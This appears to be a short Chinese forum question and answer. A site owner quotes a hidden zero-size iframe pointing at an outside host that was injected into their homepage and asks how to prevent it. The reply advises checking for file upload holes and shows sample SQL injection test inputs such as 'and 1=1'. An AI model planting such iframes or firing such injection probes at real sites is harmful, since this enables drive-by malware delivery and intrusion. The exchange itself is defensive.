<iframe height=0 width=0 src='http://object.cnicb.com/16'></iframe>
我的首页被人植入了这段代码，我在所有的连库文件里找到了这段代码并删除，恢复正常！请问这个问题以后怎么防范！？

检查网站是否存在文件上传漏洞，能够上传非法格式的文件(如exe,asp等)。检查是否存在SQL注入漏洞(如登陆时填写如下用户名格式:xxx用户 and where 1=1或者传参的网页检查如此传参数比如abc.asp?id=1 where and 1=1，能执行证明存在SQL注入漏洞).